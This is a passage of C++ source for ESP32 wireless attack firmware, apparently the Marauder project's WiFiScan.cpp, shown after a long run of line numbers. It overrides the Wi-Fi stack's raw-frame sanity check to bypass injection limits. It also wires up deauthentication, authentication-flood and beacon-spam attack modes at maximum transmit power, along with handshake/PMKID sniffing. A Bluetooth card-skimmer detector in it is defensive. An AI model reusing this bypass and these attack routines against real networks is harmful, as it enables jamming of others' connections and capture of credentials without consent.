WiFiScan.cpp 118 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. LinkedList<Station>* stations;
  10. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  11. if (arg == 31337)
  12. return 1;
  13. else
  14. return 0;
  15. }
  16. #ifdef HAS_BT
  17. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  18. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  19. #ifdef HAS_SCREEN
  20. int buf = display_obj.display_buffer->size();
  21. #else
  22. int buf = 0;
  23. #endif
  24. String display_string = "";
  25. if (buf >= 0)
  26. {
  27. display_string.concat(text_table4[0]);
  28. display_string.concat(advertisedDevice->getRSSI());
  29. Serial.print(" RSSI: ");
  30. Serial.print(advertisedDevice->getRSSI());
  31. display_string.concat(" ");
  32. Serial.print(" ");
  33. Serial.print("Device: ");
  34. if(advertisedDevice->getName().length() != 0)
  35. {
  36. display_string.concat(advertisedDevice->getName().c_str());
  37. Serial.print(advertisedDevice->getName().c_str());
  38. }
  39. else
  40. {
  41. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  42. Serial.print(advertisedDevice->getAddress().toString().c_str());
  43. }
  44. #ifdef HAS_SCREEN
  45. uint8_t temp_len = display_string.length();
  46. for (uint8_t i = 0; i < 40 - temp_len; i++)
  47. {
  48. display_string.concat(" ");
  49. }
  50. Serial.println();
  51. while (display_obj.printing)
  52. delay(1);
  53. display_obj.loading = true;
  54. display_obj.display_buffer->add(display_string);
  55. display_obj.loading = false;
  56. #endif
  57. }
  58. }
  59. };
  60. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  61. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  62. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  63. #ifdef HAS_SCREEN
  64. int buf = display_obj.display_buffer->size();
  65. #else
  66. int buf = 0;
  67. #endif
  68. if (buf >= 0)
  69. {
  70. Serial.print("Device: ");
  71. String display_string = "";
  72. if(advertisedDevice->getName().length() != 0)
  73. {
  74. Serial.print(advertisedDevice->getName().c_str());
  75. for(uint8_t i = 0; i < bad_list_length; i++)
  76. {
  77. #ifdef HAS_SCREEN
  78. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  79. {
  80. display_string.concat(text_table4[1]);
  81. display_string.concat(" ");
  82. display_string.concat(advertisedDevice->getName().c_str());
  83. uint8_t temp_len = display_string.length();
  84. for (uint8_t i = 0; i < 40 - temp_len; i++)
  85. {
  86. display_string.concat(" ");
  87. }
  88. while (display_obj.printing)
  89. delay(1);
  90. display_obj.loading = true;
  91. display_obj.display_buffer->add(display_string);
  92. display_obj.loading = false;
  93. }
  94. #endif
  95. }
  96. }
  97. else
  98. {
  99. Serial.print(advertisedDevice->getAddress().toString().c_str());
  100. }
  101. Serial.print(" RSSI: ");
  102. Serial.println(advertisedDevice->getRSSI());
  103. }
  104. }
  105. };
  106. #endif
  107. WiFiScan::WiFiScan()
  108. {
  109. }
  110. void WiFiScan::RunSetup() {
  111. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  112. this->wsl_bypass_enabled = true;
  113. else
  114. this->wsl_bypass_enabled = false;
  115. ssids = new LinkedList<ssid>();
  116. access_points = new LinkedList<AccessPoint>();
  117. stations = new LinkedList<Station>();
  118. #ifdef HAS_BT
  119. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  120. NimBLEDevice::setScanDuplicateCacheSize(200);
  121. NimBLEDevice::init("");
  122. pBLEScan = NimBLEDevice::getScan(); //create new scan
  123. this->ble_initialized = true;
  124. this->shutdownBLE();
  125. #endif
  126. this->initWiFi(1);
  127. }
  128. int WiFiScan::clearStations() {
  129. int num_cleared = stations->size();
  130. stations->clear();
  131. Serial.println("stations: " + (String)stations->size());
  132. // Now clear stations list from APs
  133. for (int i = 0; i < access_points->size(); i++)
  134. access_points->get(i).stations->clear();
  135. return num_cleared;
  136. }
  137. int WiFiScan::clearAPs() {
  138. int num_cleared = access_points->size();
  139. access_points->clear();
  140. Serial.println("access_points: " + (String)access_points->size());
  141. return num_cleared;
  142. }
  143. int WiFiScan::clearSSIDs() {
  144. int num_cleared = ssids->size();
  145. ssids->clear();
  146. Serial.println("ssids: " + (String)ssids->size());
  147. return num_cleared;
  148. }
  149. bool WiFiScan::addSSID(String essid) {
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. return true;
  154. }
  155. int WiFiScan::generateSSIDs(int count) {
  156. uint8_t num_gen = count;
  157. for (uint8_t x = 0; x < num_gen; x++) {
  158. String essid = "";
  159. for (uint8_t i = 0; i < 6; i++)
  160. essid.concat(alfa[random(65)]);
  161. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  162. ssids->add(s);
  163. Serial.println(ssids->get(ssids->size() - 1).essid);
  164. }
  165. return num_gen;
  166. }
  167. #ifdef HAS_SCREEN
  168. void WiFiScan::joinWiFi(String ssid, String password)
  169. {
  170. static const char * btns[] ={text16, ""};
  171. int count = 0;
  172. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  173. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  174. lv_msgbox_set_text(mbox1, text_table4[2]);
  175. lv_msgbox_add_btns(mbox1, btns);
  176. lv_obj_set_width(mbox1, 200);
  177. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  178. this->wifi_initialized = true;
  179. return;
  180. }
  181. else if (WiFi.status() == WL_CONNECTED) {
  182. Serial.println("Already connected. Disconnecting...");
  183. WiFi.disconnect();
  184. }
  185. esp_wifi_init(&cfg);
  186. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  187. esp_wifi_set_mode(WIFI_MODE_NULL);
  188. esp_wifi_start();
  189. WiFi.begin(ssid.c_str(), password.c_str());
  190. Serial.print("Connecting to WiFi");
  191. while (WiFi.status() != WL_CONNECTED) {
  192. delay(500);
  193. Serial.print(".");
  194. count++;
  195. if (count == 10)
  196. {
  197. Serial.println("\nCould not connect to WiFi network");
  198. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  199. lv_msgbox_set_text(mbox1, text_table4[3]);
  200. lv_msgbox_add_btns(mbox1, btns);
  201. lv_obj_set_width(mbox1, 200);
  202. //lv_obj_set_event_cb(mbox1, event_handler);
  203. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  204. WiFi.mode(WIFI_OFF);
  205. return;
  206. }
  207. }
  208. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  209. lv_msgbox_set_text(mbox1, text_table4[4]);
  210. lv_msgbox_add_btns(mbox1, btns);
  211. lv_obj_set_width(mbox1, 200);
  212. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  213. connected_network = ssid;
  214. Serial.println("\nConnected to the WiFi network");
  215. Serial.print("IP address: ");
  216. Serial.println(WiFi.localIP());
  217. this->wifi_initialized = true;
  218. }
  219. #endif
  220. // Apply WiFi settings
  221. void WiFiScan::initWiFi(uint8_t scan_mode) {
  222. // Set the channel
  223. if (scan_mode != WIFI_SCAN_OFF) {
  224. //Serial.println(F("Initializing WiFi settings..."));
  225. this->changeChannel();
  226. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  227. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  228. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  229. //Serial.println(F("Initialization complete"));
  230. }
  231. }
  232. bool WiFiScan::scanning() {
  233. if (this->currentScanMode == WIFI_SCAN_OFF)
  234. return false;
  235. else
  236. return true;
  237. }
  238. // Function to prepare to run a specific scan
  239. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  240. {
  241. this->initWiFi(scan_mode);
  242. if (scan_mode == WIFI_SCAN_OFF)
  243. StopScan(scan_mode);
  244. else if (scan_mode == WIFI_SCAN_PROBE)
  245. RunProbeScan(scan_mode, color);
  246. else if (scan_mode == WIFI_SCAN_EAPOL)
  247. RunEapolScan(scan_mode, color);
  248. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  249. RunEapolScan(scan_mode, color);
  250. else if (scan_mode == WIFI_SCAN_AP)
  251. RunBeaconScan(scan_mode, color);
  252. else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
  253. RunRawScan(scan_mode, color);
  254. else if (scan_mode == WIFI_SCAN_STATION)
  255. RunStationScan(scan_mode, color);
  256. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  257. RunAPScan(scan_mode, color);
  258. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  259. RunAPScan(scan_mode, color);
  260. else if (scan_mode == WIFI_SCAN_PWN)
  261. RunPwnScan(scan_mode, color);
  262. else if (scan_mode == WIFI_SCAN_DEAUTH)
  263. RunDeauthScan(scan_mode, color);
  264. else if (scan_mode == WIFI_PACKET_MONITOR) {
  265. #ifdef HAS_SCREEN
  266. RunPacketMonitor(scan_mode, color);
  267. #endif
  268. }
  269. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  270. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  271. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  272. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  273. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  274. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  275. else if (scan_mode == WIFI_ATTACK_AUTH)
  276. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  277. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  278. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  279. else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
  280. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  281. else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
  282. this->startWiFiAttacks(scan_mode, color, text_table4[47]);
  283. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  284. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  285. else if (scan_mode == BT_SCAN_ALL) {
  286. #ifdef HAS_BT
  287. RunBluetoothScan(scan_mode, color);
  288. #endif
  289. }
  290. else if (scan_mode == BT_SCAN_SKIMMERS) {
  291. #ifdef HAS_BT
  292. RunBluetoothScan(scan_mode, color);
  293. #endif
  294. }
  295. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  296. RunEspressifScan(scan_mode, color);
  297. else if (scan_mode == LV_JOIN_WIFI) {
  298. #ifdef HAS_SCREEN
  299. RunLvJoinWiFi(scan_mode, color);
  300. #endif
  301. }
  302. else if (scan_mode == LV_ADD_SSID) {
  303. #ifdef HAS_SCREEN
  304. RunLvJoinWiFi(scan_mode, color);
  305. #endif
  306. }
  307. WiFiScan::currentScanMode = scan_mode;
  308. }
  309. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  310. // Common wifi attack configurations
  311. #ifdef HAS_SCREEN
  312. display_obj.TOP_FIXED_AREA_2 = 48;
  313. display_obj.tteBar = true;
  314. display_obj.print_delay_1 = 15;
  315. display_obj.print_delay_2 = 10;
  316. display_obj.initScrollValues(true);
  317. display_obj.tft.setTextWrap(false);
  318. display_obj.tft.setTextColor(TFT_BLACK, color);
  319. display_obj.tft.fillRect(0,16,240,16, color);
  320. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  321. display_obj.touchToExit();
  322. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  323. #endif
  324. packets_sent = 0;
  325. esp_wifi_init(&cfg);
  326. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  327. esp_wifi_set_mode(WIFI_AP_STA);
  328. esp_wifi_start();
  329. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  330. //WiFi.mode(WIFI_AP_STA);
  331. //esp_wifi_init(&cfg);
  332. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  333. //esp_wifi_set_mode(WIFI_AP_STA);
  334. //esp_wifi_start();
  335. //esp_wifi_set_promiscuous_filter(NULL);
  336. esp_wifi_set_promiscuous(true);
  337. esp_wifi_set_max_tx_power(82);
  338. this->wifi_initialized = true;
  339. #ifdef MARAUDER_FLIPPER
  340. flipper_led.attackLED();
  341. #else
  342. led_obj.setMode(MODE_ATTACK);
  343. #endif
  344. initTime = millis();
  345. }
  346. bool WiFiScan::shutdownWiFi() {
  347. if (this->wifi_initialized) {
  348. esp_wifi_set_promiscuous(false);
  349. WiFi.disconnect();
  350. WiFi.mode(WIFI_OFF);
  351. dst_mac = "ff:ff:ff:ff:ff:ff";
  352. esp_wifi_set_mode(WIFI_MODE_NULL);
  353. esp_wifi_stop();
  354. esp_wifi_deinit();
  355. #ifdef MARAUDER_FLIPPER
  356. flipper_led.offLED();
  357. #else
  358. led_obj.setMode(MODE_OFF);
  359. #endif
  360. this->wifi_initialized = false;
  361. return true;
  362. }
  363. else {
  364. return false;
  365. }
  366. }
  367. bool WiFiScan::shutdownBLE() {
  368. #ifdef HAS_BT
  369. if (this->ble_initialized) {
  370. pBLEScan->stop();
  371. pBLEScan->clearResults();
  372. BLEDevice::deinit();
  373. #ifdef MARAUDER_FLIPPER
  374. flipper_led.offLED();
  375. #else
  376. led_obj.setMode(MODE_OFF);
  377. #endif
  378. this->ble_initialized = false;
  379. return true;
  380. }
  381. else {
  382. return false;
  383. }
  384. #endif
  385. return true;
  386. }
  387. // Function to stop all wifi scans
  388. void WiFiScan::StopScan(uint8_t scan_mode)
  389. {
  390. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  391. (currentScanMode == WIFI_SCAN_AP) ||
  392. (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
  393. (currentScanMode == WIFI_SCAN_STATION) ||
  394. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  395. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  396. (currentScanMode == WIFI_SCAN_PWN) ||
  397. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  398. (currentScanMode == WIFI_SCAN_EAPOL) ||
  399. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  400. (currentScanMode == WIFI_SCAN_ALL) ||
  401. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  402. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  403. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  404. (currentScanMode == WIFI_ATTACK_AUTH) ||
  405. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  406. (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
  407. (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
  408. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  409. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  410. (currentScanMode == WIFI_PACKET_MONITOR) ||
  411. (currentScanMode == LV_JOIN_WIFI))
  412. {
  413. this->shutdownWiFi();
  414. }
  415. else if ((currentScanMode == BT_SCAN_ALL) ||
  416. (currentScanMode == BT_SCAN_SKIMMERS))
  417. {
  418. #ifdef HAS_BT
  419. this->shutdownBLE();
  420. #endif
  421. }
  422. #ifdef HAS_SCREEN
  423. display_obj.display_buffer->clear();
  424. #ifdef SCREEN_BUFFER
  425. display_obj.screen_buffer->clear();
  426. #endif
  427. //Serial.print("display_buffer->size(): ");
  428. Serial.println(display_obj.display_buffer->size());
  429. display_obj.tteBar = false;
  430. #endif
  431. }
  432. String WiFiScan::getStaMAC()
  433. {
  434. char *buf;
  435. uint8_t mac[6];
  436. char macAddrChr[18] = {0};
  437. esp_wifi_init(&cfg);
  438. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  439. esp_wifi_set_mode(WIFI_MODE_NULL);
  440. esp_wifi_start();
  441. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  442. this->wifi_initialized = true;
  443. sprintf(macAddrChr,
  444. "%02X:%02X:%02X:%02X:%02X:%02X",
  445. mac[0],
  446. mac[1],
  447. mac[2],
  448. mac[3],
  449. mac[4],
  450. mac[5]);
  451. this->shutdownWiFi();
  452. return String(macAddrChr);
  453. }
  454. String WiFiScan::getApMAC()
  455. {
  456. char *buf;
  457. uint8_t mac[6];
  458. char macAddrChr[18] = {0};
  459. esp_wifi_init(&cfg);
  460. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  461. esp_wifi_set_mode(WIFI_MODE_NULL);
  462. esp_wifi_start();
  463. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  464. this->wifi_initialized = true;
  465. sprintf(macAddrChr,
  466. "%02X:%02X:%02X:%02X:%02X:%02X",
  467. mac[0],
  468. mac[1],
  469. mac[2],
  470. mac[3],
  471. mac[4],
  472. mac[5]);
  473. this->shutdownWiFi();
  474. return String(macAddrChr);
  475. }
  476. String WiFiScan::freeRAM()
  477. {
  478. char s[150];
  479. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  480. this->free_ram = String(esp_get_free_heap_size());
  481. return String(s);
  482. }
  483. // Function to start running a beacon scan
  484. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  485. {
  486. sd_obj.openCapture("ap");
  487. #ifdef MARAUDER_FLIPPER
  488. flipper_led.sniffLED();
  489. #else
  490. led_obj.setMode(MODE_SNIFF);
  491. #endif
  492. Serial.println(text_table4[9] + (String)access_points->size());
  493. #ifdef HAS_SCREEN
  494. display_obj.TOP_FIXED_AREA_2 = 48;
  495. display_obj.tteBar = true;
  496. display_obj.print_delay_1 = 15;
  497. display_obj.print_delay_2 = 10;
  498. display_obj.initScrollValues(true);
  499. display_obj.tft.setTextWrap(false);
  500. display_obj.tft.setTextColor(TFT_WHITE, color);
  501. #ifndef MARAUDER_MINI
  502. display_obj.tft.fillRect(0,16,240,16, color);
  503. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  504. display_obj.touchToExit();
  505. #endif
  506. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  507. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  508. #endif
  509. esp_wifi_init(&cfg);
  510. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  511. esp_wifi_set_mode(WIFI_MODE_NULL);
  512. esp_wifi_start();
  513. esp_wifi_set_promiscuous(true);
  514. esp_wifi_set_promiscuous_filter(&filt);
  515. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  516. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  517. //else
  518. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  519. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  520. this->wifi_initialized = true;
  521. initTime = millis();
  522. }
  523. #ifdef HAS_SCREEN
  524. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  525. display_obj.tft.init();
  526. display_obj.tft.setRotation(1);
  527. #ifdef TFT_SHIELD
  528. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  529. Serial.println("Using TFT Shield");
  530. #else if defined(TFT_DIY)
  531. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  532. Serial.println("Using TFT DIY");
  533. #endif
  534. display_obj.tft.setTouch(calData);
  535. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  536. lv_disp_load_scr(scr);
  537. }
  538. #endif
  539. void WiFiScan::RunClearStations() {
  540. #ifdef HAS_SCREEN
  541. display_obj.tft.setTextWrap(false);
  542. display_obj.tft.setFreeFont(NULL);
  543. display_obj.tft.setCursor(0, 100);
  544. display_obj.tft.setTextSize(1);
  545. display_obj.tft.setTextColor(TFT_CYAN);
  546. display_obj.tft.println(F(text_table4[45]));
  547. display_obj.tft.println(text_table4[46] + (String)this->clearStations());
  548. #else
  549. this->clearStations();
  550. #endif
  551. }
  552. void WiFiScan::RunClearAPs() {
  553. #ifdef HAS_SCREEN
  554. display_obj.tft.setTextWrap(false);
  555. display_obj.tft.setFreeFont(NULL);
